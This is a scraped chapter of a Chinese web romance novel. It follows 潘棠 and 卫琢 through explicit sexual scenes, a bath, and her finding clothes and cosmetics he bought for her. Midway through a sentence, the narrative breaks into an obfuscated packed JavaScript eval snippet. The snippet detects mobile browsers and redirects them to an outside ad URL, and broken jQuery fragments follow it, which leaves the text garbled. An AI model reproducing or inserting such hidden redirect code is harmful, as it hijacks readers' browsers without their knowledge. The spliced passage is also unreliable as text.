84. [锁] [此章节已锁]

作品:《折棠

    等潘棠再次醒来,已是暮色沉沉。


    空旷的寝殿里,只有一盏烛火孤单亮着。豆大一点点光,在漆黑之中分外显眼。


    她的衣裳是新换过的,发丝也是干燥的,身上干净舒服有股淡淡的冷梅香气。她一动,身侧的男人瞬间发觉了,伸手将她又往怀抱里拉了拉,再次从身后将她环抱。


    “醒了?”


    潘棠轻轻嗯了一声,发觉自己声音略哑,嗓子有点疼。


    “现在是什么时辰?”


    “不知,再睡一会。”卫琢语调慵懒,锦被之下抓住她的手指在手中轻按。


    但是潘棠睡不着了。


    她坐起身,白天发生的一幕幕在脑海里回放,大多数都记不太清了,有些片段却格外清晰,提醒着她所发生的一切。潘棠活动活动胳膊,发觉身上哪里都在发酸,甚至连抬个手指头都费劲,还有牵动某处伤口时带来的刺痛。


    她竟然真的在大白天和卫琢做了那种事。思及此,不免羞得耳尖泛红。


    “怎么了?”卫琢察觉到潘棠不对劲。


    “我....”潘棠一时不知道说什么,东扯西扯想要说点别的,“我和曼姝说好今晚就会回家的,现在未归,她肯定担心了。”


    “想走?”


    下一刻,卫琢抓住她支撑的手腕,一阵天旋地转,她被卫琢压在身下。


    呼吸急促,两人靠得很近。她右手手腕被卫琢紧攥,力道有些大,像是真的怕她会消失一般。


    昏暗的寝殿里,只有一支烛火带来微弱的光亮,潘棠大着眼睛看自己上方那人的轮廓,剑眉星目,丰神俊朗,浅色瞳孔中点缀着细碎的光。他紧紧盯着她,满眼都是紧张。


    潘棠睫羽轻眨,随后噗嗤一声笑出来。


    卫琢脸上片刻怔然。


    随后唇上被少女轻轻一啄。


    “干嘛,怕我逃走啊?怕再也见不到我了?”


    “是。”他道。回答得倒是诚实。


    潘棠另一只手搭上他的脸颊,手指在他眉毛上轻轻摩挲着,“别这么紧张,我怎么可能会走呢。就算我今天走,明天也会回来看你,就算我暂时走,也会想方设法回来看你。”


    “你要对我负责。”他声音在耳侧幽幽响起。


    “你...”潘棠被堵得说不出话,羞赧地皱着脸,小声:“你说什么呐。”


    卫琢的情绪此时已经被她温柔抚平,暖洋洋的春风吹进心底,一片春暖花开,他松开紧攥住她的手,手肘撑在床上,静静看着她。


    潘棠被看得面红耳赤,背后竟然起了层薄汗,她嗅着他身上淡淡的冷梅香气,但是奇异的,虽然是沁人心脾的冷香,却越闻越让人觉得脸热。


    “你别看了。”她拽起被子一角,将自己脸盖住,只露出一双灵动的眼睛在外面眨啊眨。


    “好,我不看。”语气里带着浅浅笑意,他手臂在被子下面搂过她纤细腰肢,潘棠感觉到一股大力将她揽在怀中。锦被之下,卫琢寻到她那娇艳欲滴的红唇,狠狠吻上去。


    攻势猛烈完全不给她反应的机会,她几次想找机会呼吸,唇都会被他再次咬住,随后撬开贝齿与她纠缠。潘棠呓语:“你温柔点。”她声音颤抖着,都被吻出了哭腔。


    男人的动作终于慢下来,不再专盯着她那鲜艳的唇,而是侧头含住她耳垂。浑身一震,潘棠忍不住瑟缩一下发出哼声。


    他炙热的气息喷薄在耳侧,带来丝丝缕缕的痒意。


    身上燥热起来,干净整洁的衣裙凌乱不堪,迷蒙中,潘棠此时才反应过来,自己如今的状况并不好,但被无端勾起的情潮如海浪般涌来,她难耐中浮现出焦躁。


    “还疼....”


    始作俑者却低低笑起来。


    卫琢抓住潘棠打来的拳头,将她手整个攥在手心里,轻哄着:“都是我的错,都怪我。”随后,他压低身子再与潘棠贴近,潘棠顿时瞪大眼睛。


    “阿棠....”他说话带着气声,头埋在她颈侧,“我也不好受啊....”


    潘棠此时整个人红得像是煮熟的虾子,脸已经烫得她要睁不开眼。


    烛影晃动,冷梅香气越来越浓郁,如一双无形手勾引着魂魄沉沦。潘棠别开脸去——这香在她这里已经完完全全和卫琢挂钩了,她真闻不得这香了。


    但男人身上的温度灼热得像是个滚烫的炉子,让人难以忽略,潘棠想将他推开,她要一个人静静。


    “你...别压着我。”


    感受到她的抗拒,卫琢不但没有松开她,手反倒上下游走起来。潘棠惊呼:“你做什....”话没说完,唇又被他含住。


    “我帮你。”


    烛光微动,她瓷白的脸上点缀着赤金的光,肌肤细腻凹凸有致,无一处不催发人情欲。


    身上只剩下一件单薄的小衣寥寥遮住春光。她紧张得瑟瑟发抖,想拉被子将自己挡住,却被他阻止。


    卫琢每每动作都能引她轻颤,他手在哪里轻轻一按。


    “啊——”


    她咬着牙不让自己发出声,却还是没能忍住,卫琢故意和她亲吻,将她的尖叫化为一句句低吟浅唱。


    她喘息着,瘫倒在榻上实在是没有任何力气,面如桃花,发丝凌乱勾缠在脸上,卫琢将她嘴角发丝别到耳后。


    她咬住下唇,摇头,眼里噙着盈盈水光,一副被疼惜过的可怜模样,累到连眨眼的力气都快没有了。“我累了。”她道。


    身子陡然失重,卫琢将她抱起,她的手荡在空中摇摆,喃喃问他:“做什么?”


    卫琢温柔说:“带你去清洗。”


    一睁眼,便看见卫琢又带着她往那温泉池畔走去了——那荒唐的温泉池畔。


    脑海中一些不好的记忆涌上来,她抗拒道:“不要去那里。”


    但卫琢仿佛没听见,两人入水,温热池水将两人包裹,潘棠身上未着寸缕,此时整个人飘在水中,卫琢揽着她腰肢不让她沉下去。


    他真的在给她清洗。


    潘棠放心下来,感受泉水微烫,男人手上温柔的动作,一点点洗去她身上黏腻。


    她餍足地嘴角扬起一抹笑,闭眼享受着,没注意到卫琢将她的神情尽收眼底。他问:“很舒服?”


    “嗯。”她答。


    没想到下刻,卫琢就将她托举而起。身子骤然出水,她摇晃着没有倚靠,只能死死撑着池岸。他钻入水下。


    刚才还心神放松的潘棠顿时紧张起来,她知道他要做什么了。


    “卫琢!你...太放肆了。”


    欢愉中生出甜蜜,欢愉中生出酸涩,欢愉中生出绝望,潘棠想,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145741|155873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她怕是要折他手里了。这辈子都要完蛋了。


    卫琢看着怀抱中失去意识的少女,她脸上正扬着餍足的微笑,白皙的小脸粉红,好看的桃花眼此时轻闭,睫羽垂下,看上去很乖。他常见她神采飞扬的模样,很少见她如此安静乖顺的样子,忍不住多看了一会。


    他为她清洗,擦干身子,穿上新的衣裙,再擦干发丝。


    榻上,潘棠睡得深沉,卫琢坐在床边静静看她,笑里带着点无奈。自己仍然在强忍,但勾起狂澜的佳人已经熟睡,他抓起了潘棠的手。


    再次醒来时,已经是第二天中午。


    刺眼热烈的夏日阳光照进宽敞的寝殿,床榻上也落上阳光,潘棠幽幽转醒。


    她抬手挡住阳光,坐起身,发现寝殿中空无一人。


    卫琢去哪了?


    想起他,潘棠就想起昨日他的恶劣行径,虽然她心底并不抗拒,也觉得挺舒服的,但一想到他那般调戏于她,潘棠心中便觉得不甘心。凭什么,总有一天,她也要找机会逗逗他。


    她揉了揉满头蓬松秀发,低头一看,发现自己身上又是一套新衣裙——淡粉与淡绿相间的衣裙明媚轻盈,精致的绢布小花点缀在胸前,衬得人肤白如雪,娇俏灵动。


    这衣裳...实在是太小姑娘了,潘棠十五六岁时喜爱穿这个,但现在她就算喜欢也不好意思穿了,穿的总是些方便干活的素色衣裙,青色,蓝色居多。


    尽管现在这身在她身上并不违和,反倒十分合身,娇俏中带着些许妩媚,这是十五六岁时潘棠身上没有的气质。


    浑身上下都是淡淡冷梅香,但当潘棠仔细去闻身上味道时,那淡香却又消失了,十分神奇。


    她下床想走到妆台前。脚刚落地就发觉不对劲,双腿酸痛难忍,潘棠蹙眉,对卫琢那家伙的怨怼又多了一分。妆镜前,镜中女子墨发未绾,垂顺地披散在颊侧,肤色白里透着红,整个人容光焕发。


    但潘棠却微微瞥眉,因为自己脖颈上,胸前,锁骨上全是卫琢留下的暧昧痕迹,他昨日就像是故意一般,对她又吻又咬,非要将她吃了才罢休。


    妆台上,摆放着大大小小的瓶罐和两个妆奁。


    潘棠打开一看,发现全是些女儿家的口脂胭脂,妆奁中是满满当当的钗环首饰。


    她突然想起来,自己上次来卫琢寝殿,是被两个歹徒无故绑来的,那次她独自睡在他寝殿中,当时的寝殿似乎并不是如今这样。


    她明确记得,当时自己甚至因为找不到镜子而没有梳头发,当时这里没有摆放妆台,许许多多的的家具也都是后来添置的。


    难道,这些都是卫琢专门为她安排的?


    潘棠认准了寝殿一侧的一个非常大的衣橱,回想起当时这里应当是一片空荡荡。她一把拉开衣橱,衣橱当中摆放着各式各样的女子衣裙,各种颜色齐全,整整齐齐挂在一起。


    一看,果然全是她的款式。


    只是,这些颜色都过于跳脱,全是她曾经喜欢的颜色和样式。这些...全是他买的吗?


    除了卫琢,除了自家的两个丫鬟,潘棠再想不出还有谁能对她曾经的喜好这么了解。


    心中像是煮开一锅甜滋滋的糖水,咕嘟咕嘟冒着泡。


    她迅速梳洗,将自己从头到尾收拾一遍,想去找卫琢当面问问。